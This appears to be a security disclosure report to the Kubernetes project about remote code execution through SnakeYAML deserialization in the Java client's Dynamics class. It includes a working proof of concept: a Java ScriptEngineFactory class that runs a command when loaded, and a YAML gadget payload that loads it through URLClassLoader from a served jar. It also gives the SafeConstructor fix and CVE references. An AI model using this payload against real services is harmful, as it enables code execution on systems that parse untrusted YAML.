Kubernetes · Report #1807214
The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML
How it was found
Summary:
If the io.kubernetes.client.util.generic.dynamic.Dynamics is used to deserialize a DynamicKubernetesObject from untrusted YAML, an attacker can achieve code execution inside of the JVM.
Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?
Component Version:
Kubernettes Java Client version 17.0.0
Steps To Reproduce:
- Host a server with a JAR file containing the following code:
package org.jlleitschuh.sandbox;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec("open -a Calculator");
p.waitFor();
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
The jar file must contain a file /META-INF/services/javax.script.ScriptEngineFactory with the contents org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload
Host this jar file from a local server's root path.
Then call the Dynamics yaml parsing APIs with the following payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
Fix
The SnakeYAML parser should be instantiated with the argument new SafeConstructor() in order to not be vulnerable to arbitrary deserialization.
Supporting Material/References:
- https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)
- https://nvd.nist.gov/vuln/detail/CVE-2022-1471
- https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
Impact
If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution